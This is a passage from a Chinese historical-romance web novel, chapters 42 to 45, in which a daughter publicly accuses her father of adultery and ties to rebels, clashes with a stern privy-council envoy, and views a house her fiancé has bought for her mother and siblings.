他清冷的面孔让商唯真不敢阻拦,当务之急自然是以商榷安的公事为重。
不过也许事发突然,商榷安的确要去处理,但商唯真端着汤碗,一副不安地站在原地的模样让人觉得可怜。
商榷安走了两步,还是回过头来,凑近了她,端起她手中的碗,干脆利落地饮了两口。
然后剑眉如星,微微冲她笑了下,僵硬的气氛登时缓解,商唯真也不禁脸红。
商榷安:“等我回来。”
说着,他便大步流星地往外走。
门外大街上,商榷安骑在早已为他牵来的马背上,双脚一蹬,就驱使着马儿朝另一条街上奔驰而去。
京中,历来私通是有违律法的罪行。
然而大多是妻告夫,或是夫抓妇,从未有过子女告发父母诸如此类的案情出现。
京都知府日前不小心摔伤了腿脚,告病在家休养,直到近两日前,才回归朝堂。
为了庆祝他因祸得福,免去朝堂纷争,几位至交好友邀他到酒楼一叙,酒菜一桌,话话家常。
然而一进门,不想还多了一道不轻易与人应酬的身影出现,“这,郡王?”
楼下大街上,有前后两道身影策马而来。
酒楼内,今日宴请的不止一桌达官贵客,还有被抓捕到的逆党要犯。
商榷安下马,径自走向下属提前传来消息知会的厢房,然而就在通往屋子的长廊上,一道眼熟的娇柔的身影从商榷安眼前现身。
妧枝好似并未注意到同一时刻来了什么人,她眼神专注在其他地方,她手持着封书信,商榷安初时盯着她的脸,其次再到她手里的信件上。
眼神一瞥,颇有些讶异,眉头微蹙起来,眸色变得暗沉看着她。
她对侧面盯着她的目光一无所觉,亦或是察觉到了,却漠不关心,而是视线坚定,嘴角微弯,面露出一丝不受干扰的令人心旷神怡的淡笑,朝着一间屋子走去。
那间屋子的房门打开,又一道不算陌生的人影走出迎接她。
二人的双手很自然地握在一起,对方富含柔情地轻唤她,“阿枝,你来了……”
第42章 大义灭亲。
那女子仰头,没有躲避,反倒迎了上去,像极了凑近亲近之人,柔声回应,“常珽。”
……
“大郎娶妻了,而今成家立业了,家里都还好吧?”
记忆中,仿佛回到了娶妧枝的时候。
成婚已有大半年,濉安王府的亲戚在重阳节那日受邀,前来吃席喝酒,顺便庆祝二房李平川的妇人又诞下一子。
凑巧那日商榷安不忙,家中客人尤其是年长的碰见他,免不了要与他寒暄一番。
问话便问到了关键之处。
“勉强尚可。”商榷安说。
“哦,那你那新妇人肚里可有信儿了?而今二郎都有三子了,你可得与你那妇人加把劲啊。”
来者并未瞧出他的不耐敷衍,攥着酒壶,话起家常,“是叫什么来着?是妧嵘的女儿吧?我夫人还说有机会要宴请她,只是忘了名字,不好写帖子。”
说罢盯着商榷安,等他开腔。
下一刻。
“妧氏。”商榷安简短明了道。
对方愕然一愣,追问:“只是如此?是说她后面名讳……”
然而他已经走远,似乎根本未将这件小事放在心上。
阿枝这样的称呼,从未在商榷安口中出现过。
若非得已,他经常都是以妧枝姓氏相称,亦或是“你”。
这般叫法,往常只出现在妧家家里人,即便濉安王府里的长辈女眷这么叫,商榷安都不曾尝试过。
而今,到了旁人嘴里,如同标记一样,在耳畔挥之不去。
门前,一对男女的身影消失在跟前。
下属在旁请示着,“大郎君,是否该进去了。”
默默扫了眼刚才的位置,商榷安二话不说便当场离开,步入另一间被微微拉开一条缝隙的屋子。
在他入内后,下属也在身后左右环顾,然后将房门紧紧闭上。
屋中的人影见到他来,有一人快速让开位置,另有一人上前说明情况,“人已被制伏,有两个贼子当场服了毒,属下们来的及时,未让他们将消息传出去。”
“只是人死了,现在怎么办?大郎君?”
只见商榷安看到地上死人目无表情,蹲下身反倒是如同验尸一般观察打量,直到片刻方才起身,“叫仵作来,活着的带回去审问。”
“是。”
下属应声安排人去之后,没多久又回来,从怀里掏出一样东西,“大郎君,这是从他们身上搜出来的密令,上面有乱党们私下联系的标识和记号。”
商榷安接过,然而看了眼就让属下收走,“证据确凿而已,去传令给京都知府,让下面的将这些人的家室一并抓起来,集中看管,一个都不得放过。”
“大人,京都知府就在此间酒楼。”
“传他过来。”
下属顿了顿,在商榷安眼神睇过来之际,忙道:“是属下方才看见了,京都知府非是来此办公,身边还有其他同僚一起。看上去像是在这里宴请……”
商榷安:“在哪?”
枕戈回来打听道:“就在刚才妧娘子进去的那间屋子……”
说着与商榷安视线一碰,只觉那双眼珠里的瞳孔仿若无垠之水,又漆又黑。
要揭露妧嵘的奸情,唯有向公堂细数他的罪名,妧枝搜罗了不少妧嵘通奸的证据。
那日花瓶里,不知是否年岁过去太久远了,远到妧嵘自个儿都忘了,曾几何时,也许是他初入京都时,与薛明烛私下往来写过的信。
就塞在花瓶里,有烧灼过的痕迹,可不知是不是瓶颈太细,以至于未细心检查,火只点燃了边缘,后面妧嵘的署名并未被烧毁。
妧枝将它留了下来,这不过是其中一个证明妧嵘与薛明烛私通的小证据,证明他们多年前就背叛了彼此家室。
可想要令他不得翻身,妧枝深知还远远不够。
但她也有最新的证人证词,这些东西准备好了,如今最重要的就变成了如何递交给京都的执法司了。
她既不是有一官半职的臣子,又不是什么极有身份地位的妇人,想要直接递交给京都能上报惩治的机构,实则难上加难。
不是她递交上去,便能即刻有人审核妧嵘,反倒是她的来路和目的,最先会被带走前去审问,直到查清验明正身,方才对妧嵘动手。
这实在经不起消耗等待,妧枝不清楚妧嵘与情人是何时对平氏等人下手,这一世她又拒绝了与濉安王府的亲事。
于是就有变数,自然也就不敢赌。
正好妧嵘如今正受乱党之事牵连,他分身乏术,不敢有大动作,妧枝也就趁其不便,尽早将他解决了,免得连累其他人等。
屋子里,杯酒相碰,京都知府被簇拥在正中,亦未曾想到同僚宴请他喝酒,没想到还会在宴席上看见锦瀚郡王。
这位郡王在京中历来是个风雅之士,朝堂上虽不怎么参与政事,但在圣上和大臣那里还是有些名号。
实在是祖荫庇佑浓厚,其本身面貌出众,颇具才能,只是不爱惹是生非,更淡泊名利一些,所以才淡出主事议政的圈子。
寻常往来交际不多,想结识他的并不少,然而此人很少与朝中臣子相互走动。
未料想今日会在同僚的宴请上看见他,甚至还带了“妻室”。
妧枝一进门就看到坐在席间的京都知府,还有其他几位不认识的臣子,若非历常珽,凭她一个侍郎之女的身份,根本见不到这么多人齐聚一堂。
听说京都知府身旁坐的,是大理寺少卿的下属少丞,若想状告当朝臣子百官又不法之举,皆可以向通过知府递状词,然后视情况看是否需要上达大理寺审理。
众人同样看着她进来,一直到历常珽领着妧枝走到臣子们的跟前,介绍道:“这是常珽下定婚约的妧娘子,其父是朝中的中书侍郎,妧嵘……”
有着不俗之貌的女郎上前行礼,张开口道:“在下妧嵘之女,妧枝……”
京都知府正待问询两句,其他人亦是观察打量的目光。
未料之后这位妧娘子的言语,竟是叫人越听越心惊。
整个房中,弦乐戛然而止,无关之人早已躲得远远的,未免惹上麻烦。
气氛从热闹变得安静,待到妧枝陈述状告完妧嵘的罪行,且拿出罪证到京都知府等人的面前一一过目。
就在此刻,屋外忽然有人敲响房门。
“枢密使查案,闲杂人等即刻出来——”
话音惹得京都知府等一惊,“这,密使怎会来这里?莫非是有什么内情?”
“快去开门,请密使进来。”
然而不等话落,房中那扇门便被人从外面推开,不带神色,面容冷静的商榷安与下属立在门口的身影便出现在众人眼里。
只见他目视前方,随后眼也不眨地似乎目标明确,直接越过门槛朝里面走来。
最后停在摆满佳肴的宴席旁,与在场的京都知府等人面对面而视。
自打他来,屋里侍候的下人便都乖乖主动退了出去,只是刚到门口就被商榷安带来的人给拦下,然后领走带去审问。
“商密使……”
京都知府忙不迭走上前迎接,其他同僚也都动了,枢密院乃京中与政事堂及御史台并驾齐驱的最高权利机构。
每一任的枢密院密使都有可能成为下一任宰执,也就是丞相。
眼前的商密使可谓是圣上心腹重臣,京都知府都不一定能时常打交道的高官,即使大理寺的少丞在此,同样也都上前与京都知府向商榷安问好。
“密使大人,有失远迎,是出了什么事?有什么地方需要我等配合的?”
“还请密使大人,尽管吩咐。”
结果几张老脸摆在眼前,商榷安却眼神富有威慑地一一巡视过去,并且一言不发。
按理枢密院查案,怎样都查不到酒楼来,此府院历来都是掌管军务,直接效命圣上。
犯人应当都在军中,大臣犯事都以泄露军机要秘为主,又如何找上他们呢?
不知情的颇为疑惑不解,知情的大理寺少丞则不禁上前一步,准备与商榷安说明情况。
然而一道声音道:“本官在此捉拿逆谋乱党,京都知府,大理寺少丞,通事舍人……还有这位虞部员外郎,今日不该都休沐,为何全部人都聚集在此?”
冰冷低沉的嗓音让众人目光看向商榷安,却在片刻后倍感压力,难以与他黝黑深邃的眼睛对视。
京都知府作为下官被视线扫过后,不由绷紧背脊,感到一丝微凉之意,却忘了回想刚才商榷安的话里,点了在场其他人的名,甚至还有锦瀚郡王。
通事舍人便是他,却未曾说出在场的唯一一位女子的姓名。
为了摆脱不务正事,私下结党的嫌疑,京都知府瞬间回想起当前遇到的大事,飞快来到商榷安身边道:“商密使,下官有要事向密使禀报。”
他拿起手中官员的罪证,当场便双手奉上给商榷安看,“下官在此与几位大人,也是在‘办案’,密使请看,下官手中拿的,是朝中臣子中书侍郎妧嵘,他品行不端,与人通奸,还与罪臣逆谋的罪状啊!”
“这些都是这位大义灭亲的妧娘子,就是妧嵘的女儿,她亲手送来的。”
提及妧枝,那双乌黑宛若稠墨的眼珠子不错眼地往京都知府奉上的罪状上瞥去,然后飞快的阅览后,睇视向屋中与历常珽站在一起娇柔而窈窕的身姿。
她被保护在男子身侧,双手挽着历常珽的臂膀,如同站在旁人羽翼之下。
妧枝娇丽面孔上的宠辱不惊之色,分毫不漏地落入商榷安的面前,和呈上来的大义灭亲的罪状一同惊扰了他的眼。
他定定注视着她,黑长且直的睫毛在眼皮上轻眨,好似……前所未见。
第43章 也要嫁吗?
“即是官员作风不正,也应上报御史台,而非大理寺的人在此直接审理。否则视御史台、刑部何在?”
此话一出,气氛瞬时尴尬起来。
今日这场宴席,本是私人宴席,京都知府腿伤初愈,同僚相请。
未料大理寺少丞这边引荐了锦瀚郡王,才发展成现在这样,私不私,公不公。
更主要的还是被枢密院的当场捉住,虽然隶属不同机构,但同朝为官,枢密使又是能直达天听的一个人。
若是对上说几句褒贬不一的话,今日他们在场的这些人怕是都要被革职。
“密使大人,这可与我无关啊,今日我只是来赴宴的……”
京都知府连忙撇开关系,“没想到少丞还请了锦瀚郡王在此,商谈中书侍郎的案情。”
大理寺少丞:“你这老东西,我请你吃酒你撇得这般干净。你怕这些做什么?”
“我等在此都是寻常吃饭,且恰巧听见这位妧娘子有诉状要呈现,方才请她拿出证据商讨,这不是还没有纳入章程,就碰巧等到密使来了!”
听到老友这般理直气壮,京都知府霎时间反应过来,“是啊是啊,我等也是恰巧遇到此事,未未做任何决定,密使大人,你看,我们桌上的菜肴都还没碰,且谈论的都是有关中书侍郎犯下大错的消息,若不是这位妧娘子检举,竟不知朝中还有这样的人竟与乱党私下联系。”
“这次正好,可以交由密使大人审理!”
然而,本以为这般示好能得到宽宏体谅。
却听商密使未有一丝动容道:“即便尔等是因正事齐聚于此,但涉事之人乃朝中大臣,哪怕有过错,也非是你们几人在此商讨,就足以代表公堂定罪。”
“少丞说不得不错,凡事都有章程,本官在此捉拿乱党,尔等有任何消息都可上报,若是呈到案上,再看是否需要本官处理。”
“而不是,私下议论,否则让人看见了,只会以为你们在此徇私,联合攻讦他人。”
适时,历常珽终于不再袖手旁观。
而是在其他人脸色都变时站了出来,他上前同商榷安道:“商密使误会了,非是我等聚众勾结,只是恰逢知府少丞几位大人有空,于是相邀在一起用顿便饭。”
商榷安冷眼觑向他,“便饭会提到官员罪状?几位私下商议,就有动用私刑之嫌,不走章程公事公办,就是乱了朝纲,通事大人连这些律例都不懂吗?”
二人对峙,同样的身量,相差无几的年纪。
一个儒雅,一个冷峻。
因商榷安这番话,气氛霎时又僵冷下来,甚至让人无可辩解。
酒楼非是公堂,他们虽各司其职,但若章程不对,就是私下联合处置朝中官员,此乃违法。
官员若有问题,历来都是上报御史台、大理寺、枢密院同审,眼下只有大理寺少丞在此,很难不让人对这番行举多想。
“是我莽撞。”
忽地,一道柔和的嗓音打破沉默。
旁观已久的女子道:“此事怪我,不懂朝中理事的章程,以为见了知府和少丞大人们即可处理,是我心切了。”
妧枝定定和商榷安对视,她不知不觉走到他跟前来,甚至将历常珽挡在了身后。
仰着头,一双乌黑发亮的美目深深地盯着商榷安,“是要走章程就可以了吗?”
商榷安俯视妧枝,目无喜色,“你欲办何事。”
妧枝:“我要状告我父亲,中书侍郎妧嵘,他与薛家之女,已故明威将军之妇私通,苛待妻女。”
“还要揭发他与乱党往来,我手上都是罪证,这些……都够了吗?”
她指向桌上一角,目光还与商榷安交织着,宛若刀剑利刃,针锋相对,谁也不让谁。
“阿枝……”
就在众人觉着气氛古怪,商密使和妧娘子对视的眼神都有些让人捉摸不透时,历常珽看着这样一幕,莫名也不想让妧枝与商榷安接触下去。
妧枝睇着商榷安,就看他会不会阻挠自己对付妧嵘。
他明知妧嵘身边的妇人来路,却从未透露过分毫消息。
他不帮她可以,不插手妧家的任何事也行,但是他不能在知晓妧嵘所做过的事后,还来阻挠她的计划。
如此,他良心何安?
就这样当仁不让地目视商榷安后,妧枝听见历常珽忽然叫她,似是担心她被波及。
于是站到了她身边,倏然握住了她的手。
妧枝微愣。
面前居高临下俯视她的商榷安抬眼,同时捕获了对面衣袖下那两只手交握的小动作。
他怀着不知什么样的眼色,目光重新回落到女子身上,直接将她身旁的人影掠过。
“可以。”
他答应道,然而刚才那双看过来的美目已经转移了目光。
她好似宽慰起身旁男子,嘴角微微一笑,轻拍对方的手,让他不用担心。
他的话落到了空处。
除了京都知府和少丞反应极快,应道:“是是是,密使方才说的在理!”
京都知府拱手挪步:“那下官这就回去收授此案,上报上去。”
大理寺少丞:“那我也回去准备准备……”
屋子里的人接连走后,桌上佳肴冷置在旁,酒杯也孤零零立在台上。
妧枝对历常珽道:“我们也走吧。”
历常珽看向商榷安,他敛着眉眼,对他们二人并未投来过多视线,可是所有人都走了,京都知府也都乖乖离开按照他的章程去办。
他却还留在这屋里面,妧枝除了刚才和他对峙,并未再和他面对面。
除却曾经拒绝与妧枝议亲的大郎君商榷安,他们二人的交集不多,仅剩今日这一点。
“走吧。”
妧枝疑惑朝历常珽看来,似乎还在奇怪他怎么不动。
历常珽向她答应,“这就走。”
然后抬步,在经过商榷安时冲他象征性点了点头,毫无意外地没有得到对方任何一丝回应。
历常珽被妧枝拉着,走出门口。
二人浅浅交谈,“你上回找我说的话,未来得及说完,是什么啊?”
“是有一事,我想问你……”
话音飘远,徒留商榷安一人背对屋中,像带走了所有光影,让留下的宛如置身在昏暗里面。
前世,王府正堂。
下人们被屏退左右,窗外隐隐有鸟鸣,桌上茶水已经完全失去雾气。
濉安王李铏手搭置在膝盖,眉头紧皱,似乎早已等候不耐。
直到外面他等待的人不紧不慢地进来,修长的身躯挺拔而傲然,经过多年在外长大的经验,来人的面容即使与他有几分相似,也全然改变。
眉眼更加锋利,气势宛若霜雪,总会默不作声,且不动声色将视线内所有情况都观察仔细,把控清楚,让自身立于不败之地。
“你有何事?”商榷安问。
濉安王双手按在膝盖,似在忍耐,此刻忽然爆发出来,“怎么你我相见,就注定要做仇人?我是你父亲,难道见你,就一定需要有事?”
“无事便不能找你归家用一顿晚饭?”
商榷安看着他的眼神充满平静和冷漠,满眼都是漠然。
“不必要。”从前没有,今后更不必有。
“你……”
李铏:“我知你怪我拿你那阿妹作要挟,让你认祖归宗,但你而今同样也需要我做倚仗,这朝堂之上敌人那么多,光靠你单枪匹马怎么能够立足?”
“靠圣人器重又如何,你身后无人,难道能避免其他政敌寻你麻烦?是,你有能耐,屡次能脱险,可我李家始终是你出身的地方,你始终姓李,不姓商!”
“即使你不需要倚仗,那为父在朝堂上以濉安王的名义,帮你挡去一些不必要的麻烦又如何?你何必对我成见那么深,简直根深蒂固!”
说起商榷安与濉安王的干系,不过是一些陈年旧疴。
李铏要挟很早,商榷安能进京考取功名,有他一部分出力。
条件是他高中后,要脱离商家,认祖归宗。
彼时势单力薄的商榷安应下了,然而情况并未像濉安王想象中变好。
即使住进濉安王府,恢复大郎君的身份,商榷安却依旧不肯改名换姓,父子二人关系并不像所有人以为的那样得以修复。
反倒是堪比陌生人,商榷安待李铏只有朝中同僚那样的姿态,不吭不卑,某些时刻甚至因得上面器重,作风强势,反压濉安王一头。
“你若无事要说,那边作罢,我还有事要忙。”商榷安不受丝毫影响,转身要走。
然而,李铏阴阴地开口,“我帮你相看了一门亲事,妧嵘之女,你去与她相看,若是不去……”
后面的话,意有所指,不言而喻。
商榷安脚步却不曾停顿,身影当场不留情面地从李铏跟前离开。
亲事,商榷安正在仕途,从未想过。
即使要想,那也在他规划之中,而非别的人选。
后来,唯真挂念商朔,想要他陪去上香。
观音殿里,见到妧枝。
她接过他递过去的荷包,拍了拍灰,在妧嵘和平氏身边时,大人说话并未插嘴,温顺安分,静静聆听。
平氏小声问:“阿枝,你阿父想把你许配给商大郎君,好不好啊?”
那女郎低眉垂眼,只顾检查荷包,也没有那么乖顺,但嘴里好声好气回道:“阿父怎么会这么想啊?”
平氏:“那还不是你年岁到了,你阿父想你嫁个好人家。”
妧枝:“那,就看看吧。”
没有很情愿,也没有不妥协,只有对家里听之任之。
可在商榷安看来,为什么要那么听话?万一相看的人家不喜欢她,也要嫁吗?
草玄堂,顶着烈日面红耳赤,浮了一层薄汗的女子也说要嫁给他的声音历历在目。
只是与今生转身离去的背影重合,当年人影,已不知所踪。
第44章 买主。
平氏近来觉得自家长女过分古怪,自打她表露出违抗自家丈夫的意志后,妧家的下人都隐隐以她为首。
好几次她听见下人不注意道:“大娘子攀上郡王府,亲事说定就定,倒是比濉安王府那边迟迟不下聘书的要好不知多少。”
“那王府四郎君,声名在外,是个不怎么喜好读圣贤书的,锦瀚郡王可比他大,也有一官半职,大娘子这也算高嫁了。”
“可不就是,女郎而今身份也水涨船高,没瞧见连主家都命令不了她?气势堪比当家主母,若是这家由大娘子做主,你我也轻松不少啊。”
平氏平日是会持家有道的,但她在妧嵘那里得不到敬重,下人可怜她却不敬畏她。
往常都以妧嵘为首,是妧枝,后来这个长女在妧嵘再次一次对平氏动手时,挡在了平氏跟前。
当时她手里拿着一把用来剪断针线的铜剪,不知何时被妧枝磨得很锋利。
那把铜剪的尖头差点怼进妧嵘眼珠,差之毫厘,让妧嵘瞳孔紧缩,脸色一白,抬起的手微微发颤。
下人们越看越心惊,差点捅瞎父亲的大娘子却依旧镇定,可以说是冷漠,“阿父再这样欺负阿母,夜里安寝时可得小心。”
“这剪刀好锋利。”
不过两句话,让当时的所有人都鸦雀无声。
最先反应过来的是平氏,她将大娘子抱住,“阿枝,阿枝,阿母没事。”
“你小心些,别伤了自己。”好说歹说,才哄了妧枝放下手,可铜剪始终握在她手里。
妧嵘还处于荒诞震惊之中,不敢置信竟对自己尚未及笄的女儿生出一丝恐惧。
妧枝无事人一样吩咐正堂里想要上前抢走铜剪的下人,“去药房,给我阿母抓药,别让她身上有淤青。”
“还有,给阿父倒杯茶,他吓着了,去去惊。”
她心安理得吩咐,越过了平氏和妧嵘,指挥下人。
那把剪子对准的不止一个人,是所有。
她的眼神更令人心悸,明明很美,黑白分明,澄澈而明净。
可是那里面的坚决之意,让人情不自禁对她心生忌惮。
连主家都在那一刻,身形微缩,不敢动弹,更遑论底下的下人。
奴仆们见妧嵘始终未发表言语,于是听从妧枝命令,忙上忙下,带走平氏去处理伤口,同时抱走年纪尚小的小郎君和小娘子回房。
正堂便只剩大娘子陪着,出了外面,所有人都听见妧嵘震怒,“你,你怎么敢这么对你父亲?!”
大娘子:“阿枝没有伤到阿父,阿父不用担心。”
“已经没事了。”
能这般若无其事说出口的大娘子,俨然挑战了主家的权威。
也不知是否被妧枝所说的话吓到,除了在正堂呵斥妧枝,主家最后竟也未罚大娘子。
从那以后,这个家中妧枝便超过平氏,甚至妧嵘,对下人说话都多了许多分量。
郡王府来提亲那日,妧枝对下人说的话,叫平氏感觉到心慌。
就好似妧枝已经不是第一次让下人那么做,盯梢妧嵘?
是平氏想也不敢想的事。
距离妧嵘上次一气之下离开家,过去五六日了,这倒是习以为常的情况。
她人老珠黄,即便用心打扮,也与年轻或是雍容华贵天生丽质的女子比不了,平氏早已不奢想夫君能重新宠爱她。
是以妧嵘不常归家,她也不敢让家里的仆人前去寻他。
但不想,长女竟然还有堪称越界的做法。
外面黄昏傍晚,狂风缭乱,“怎么下起雨来?”
下人刚忙冲出屋外,在庭院里收起午时晾晒的衣褥,平氏看向天色,实在是一场很寻常的晴日雨。
连日光都没散,她却不由地感到心悸,捏紧了胸前衣襟,“大娘子呢?还没回来吗?”
“大娘子午时被郡王接走,出门去了,应当快归了。”下人分心答道。
郡王……是那位年轻甚是仪表堂堂的男子。
下了聘书后,就勤快于来妧家走动,还送了不少礼给她和妧酨妧柔。
平氏看着门口,仿佛只有妧枝的身影出现了才能松口。
前日离开酒楼后,妧枝跟历常珽回到马车上。
他们手还交握在一起,妧枝倒是很坦然,没有不好意思的模样,问:“继续说吧,趁此空闲,还没到知府公堂的路上,所为何事,快告诉我。”
虽然妧嵘的案子可以上到公堂,但还需要妧枝前去知府府上,再将她所知道的事情,事无巨细地禀告给知府听。
由主簿记录在案,然后对比证据,再上报给御史台、议政堂和枢密院审理。
历常珽被手中柔胰吸引,低头盯着妧枝一双纤细的骨节,指甲修剪的干净漂亮,只是细摸指腹,并没有十分柔滑。
是有帮家中做过事情的痕迹,他细细抚摸着,然后抬头道:“日前,我记得你说过想另置一处房产,好将叔母和阿弟阿妹妥善安置。”
“房子找到了吗?”
妧枝:“倒是看了许多地段和宅子,合适的不多,倒有一两处上心的,觉得不错。”
“但价高,我囊中羞涩……”
她笑笑,与历常珽关系突飞猛进,已不避讳谈这些。
“不过,我也有我的法子,已经凑足了购置的钱财,等办完事就打算定下来。”
历常珽打听,“是在何处?”
妧枝霎时看他一眼,似是觉得奇怪,但还是在下一刻时,说了位置。
只见历常珽忽然捏紧了她的手,欲言又止又坦然地笑了下,“阿枝……”
“怎么了?”妧枝看着历常珽。
他道:“按理说,我知你应是不爱求人,论关系,你我如今都是过了明路的未婚夫妻,所以此事,我想征询你的意见。”
“你说你有看好的新宅,我却不想你花费太多钱财,作为你将来的夫婿,但凡尽我所能,也应该做你的依靠。是以,我近来已经替你看好了其他宅院,若你信得过我,就随我去看一看。”
“宅子我已买下来了,等你见过之后,若是不行,我们再寻它处,可好?”
妧枝没想到历常珽会这般干脆果断,亦称得上先斩后奏。
她为了凑足置宅的钱财,的确花费了不少人力,尤其她的嫁妆,在平氏和妧嵘都不知情的情况下,妧枝已经典当干净了。
她与那双温和而有力量,静静注视着她的眸子相对,从执着她的手的触感上,感受到微微的轻颤。
就知历常珽这边似是担心惹了她不悦,略微忐忑。
就当历常珽以为妧枝会拒绝时,听她道:“看来还是我日前说的话,让你放到心上去了,这般用心,去看看又有何难?简直求之不得。”
“只是你替我寻宅子,怕是辛苦你了,我不知该怎么补偿……”
妧枝非是不识好歹,就如历常珽所说,既然他们关系今非昔比,那么作为她的将来夫婿,历常珽对她的事有所安排是理所应当的。
妧枝岂会觉得不高兴?
“我只怕你以为我自作主张。”历常珽说的很轻,但眼神瞧得出他十分欢喜自己的好意没有被妧枝排斥。
他松了口气。
妧枝:“但好在你现在能与我商量。”
能为她着想,妧枝也不会对他有任何介意,“什么时候去看宅子?它是什么样子?”
历常珽颇为振奋,“等你有空……明日如何?”
“那宅子,我代你看过,你要的,不管是叔母还是妧酨妧柔他们,都能安置好。”
与历常珽约好,在去过知府府上后,妧枝便被送回了家。
到了翌日,妧枝一早梳洗打扮好,在家中陪伴了平氏跟妧柔半日。
按照约定的时辰,历常珽便来妧家接人了。
妧枝坐上郡王府的车轿中,“你说的那地方在何处?”
“就在这京都之中,离此处较远,但也方便。”
与现在妧枝住的妧府,为相反方向,一个在南一个在北。
“北市那处有市集,不必担心出行问题。”
路上历常珽为妧枝介绍,“那是我问了贯轩,他有一熟人修的私宅,只是而今不打算再京中了,于是便打算变卖了。”
“那实在是可惜了,不过还要多谢甘大郎君帮我们留意……”
半刻时辰之后。
车轿停下,历常珽接住妧枝,将她扶下马,“到了。”
宅子里的门房似是早被打点好了,听到屋外动静,随即打开大门,请他们进去。
“郡王来了,我们主人等候多时了。”
屋主尚在,即使历常珽已经买了下来,也想看看交付的新主人是谁。
妧枝步入内宅,眼前顿时耳目一新,有别于她瞧过的许多民宅,此处也有精巧的楼阁和庭院,占地比妧家大上两倍。
唯一美中不足,是宅内院落有一处石桥损毁了一段,但也无伤大雅。
“这位就是买主吧。”对外,历常珽都是以妧枝名义购置宅子。
屋主见到妧枝,主动介绍,“妧娘子可有什么想要了解的,在下知无不言。”
妧枝回头道:“是我,我就想看看此处格局,还请为我讲解一二。”
“那就请妧娘子随我来……”
妧枝回眸跟历常珽点头招呼,随屋主往前面的院子走,历常珽则落在了她身后两步,默默温柔注视着她,在附近等候。
第45章 遇险。
妧枝对宅子要求异常仔细,是因为整个家中乃至现在所用的东西都以妧嵘为首。
什么好的先紧着他用,住处自然也是他先挑好的,子女都是次要,更不用说平氏了。
妧酨妧柔都没得到过。
这回置了新宅,为了不让平氏感觉不适,弟妹亦能接受从今以后,家中不会有妧嵘的存在,妧枝也就期望新的居所能让他们住的舒服。
忘掉从前,重新来过。
以前不曾拥有的,这次通通都能得到。
“这间屋子,是从前我夫人与我住的,里面的东西多数是她准备装饰,耗费了她不少精力,若不是她病了,我与她本打算在京都安享晚年。”
屋主人道:“而今她身体不好,想要回老家去,我想余下的日子应当也不会再进京了……”
妧枝顺着他的介绍,步入房内,看到屋中的确许多东西还在,诸如桌椅花瓶还有房中纱帐地毯,各种布局都十分用心,称得上是屋主人和其夫人的爱居。
“敢问屋主这座宅子出价几何?”
“六千贯。”屋主人说:“本是九千,但替我与郡王牵线的甘大郎君,曾经出手相助过我和夫人,想着给这宅子找个好归宿,也就没有再抬高价。”
说着,他看着妧枝微微打量一眼,笑道:“想来妧娘子也是个会爱惜的人,能将它易手给你和历郡王,也算种缘分。”
对方误以为二人是想置来夫妻居住。
妧枝听了也没有解释,只应声道:“多谢。”
六千贯自然是价值不菲,可比起她前头看过的那处宅子已然低了许多。
以妧枝的嫁妆交易出去,还有剩余。
接着她有跟着屋主人去了其他几处院落,都称得上满意。
待到时辰差不多时,妧枝和屋主人回到前院与历常珽汇合。
“如何?”他征询着看向妧枝。
她点了点头,开口称赞,“很好。”
屋主人便示意仆人拿过盒子,“这里面的是这座宅子的钥匙与房契,既然没有不妥之处,那就都交给郡王与妧娘子了。”
历常珽接过,二人目送屋主带人告辞,此处就只剩下他们了。
妧枝看向历常珽,郑重地向他道:“我方才问了屋主,他出价六千贯,你出手买下来很不便宜。”
“可若能让你满意就好。”
历常珽真心实意道:“毕竟日后成了婚你与我都在郡王府居住,那我也期望这桌宅子能让叔母和妧酨妧柔住的方便,以免让你担忧。”
他懂妧枝对平氏等人的看重,并且爱屋及乌,想要照顾妧枝家里人一二。
只是难免会因为对她的重视,而容易自行主张。
眼下妧枝能够满意他就安心了。
妧枝当然体谅,她非心安理得,却觉得历常珽也没有错。
“我没有怪你的意思,只是想,我那些嫁妆刚好够弥补这座宅子,等成了亲,也不算损失。”
历常珽紧紧握住她的手,心里很是暖和熨帖。
在看过宅子后,妧枝与历常珽商量了何时带平氏等人搬过来的日子。
差不多也就这几日,妧嵘的罪证都被上报,朝中又在纠察乱党,他定然逃脱不了。
即使不死也得脱层皮,一堆麻烦等着他,妧家就不适合继续住了,早搬为妙,方能图个清静。
等商议完,历常珽看着天色,他提议道:“饿不饿,阿枝,去木荷堂用些吃食再回府吧。”
此时正值午后,时辰尚早。
妧枝也不急着归家,点头应允道:“好。”
到了木荷堂的茶室,下人送来吃的到屋子里,这回即便关上房门,都称得上合情合理。
只是历常珽与妧枝并没有逾越,只在里面说了会儿话,他看着妧枝用了些点心,然后引她到房间里屏风后面的榻上。
“此处是我常常歇息的一角,以后你若觉得累了,都可在这上面小憩一会,我已吩咐下人,不会有人来扰。”
“还有这里。”历常珽转到一旁书架上,“这些书籍都是我曾翻看过的,你若有兴趣,都能翻阅,没有禁忌。”
历常珽对她一一道来。
妧枝知晓这是在让她对他有所了解,更为熟悉,于是爽快答应:“好。”
“正好方才吃了点心后,我也有些倦意,可以在此处偷偷歇息下了。若没什么事,你可先去忙,我自会料理我自己。”
历常珽:“倒无要事,之后都可以处理,你若不介意,我想在此陪你。”
“上回看过的书,还没看完……”
他和妧枝四目相对,女子像是对他的心思心知肚明,不禁微微勾唇笑起来。
最后什么也没说,躺去了屏风后的软榻那里。
历常珽久久望着那道消失的背影,心湖泛起的涟漪迟迟未能平静。
不知道妧枝知晓他实在不愿意两人这么快分开,这才寻了个借口留她到木荷堂多待一阵,会不会引来小娘子的反感。
觉得他太粘人了?
妧枝躺下后,不多会便倦意来袭,等她意识到时,已经睡熟了过去。
醒来好似将近黄昏,她身上多了条薄薄的毛毯,在茶室里却不见历常珽的人影。
想来是有事出了去。
她走出屏风,对着屋中的镜子梳理了一下自身,然后就听到茶室房门被人敲响。
妧枝去开门,木荷堂的下人站在外面道:“妧娘子可醒了?”
“前面来了位客人,托我带话,有事想请娘子过去。”
能来木荷堂寻她的,会有谁呢?
妧枝跟着下人走到前面的内堂,不少茶桌都坐满了茶客,然而到了一张说是找她的客人的桌子前,却不见人影。
下人惊讶张望,“奇了,人呢,方才还在这里啊。”
找人的没有耐心走了,但杯盏还在,证明下人并未说谎。
妧枝往桌面上目光一扫,发现了一样被压在杯底的纸张。
她将其拿出来,上面字迹沾染了点茶渍,却不妨碍阅览,就在下人出声诧异,“怎么有张纸在此处”时,妧枝已经快速将上面的字纳入眼底。
下一刻她面色微愣,然后眸色变冷,“我去个地方。”
她对下人道:“若郡王问起,先让他去妧府一趟,就说我请他照看我阿母,若是傍晚我还未归家,就请他去报官。”
下人闻言抬头吃惊地朝妧枝看去,却见这位妧娘子二话不说便往外走了。
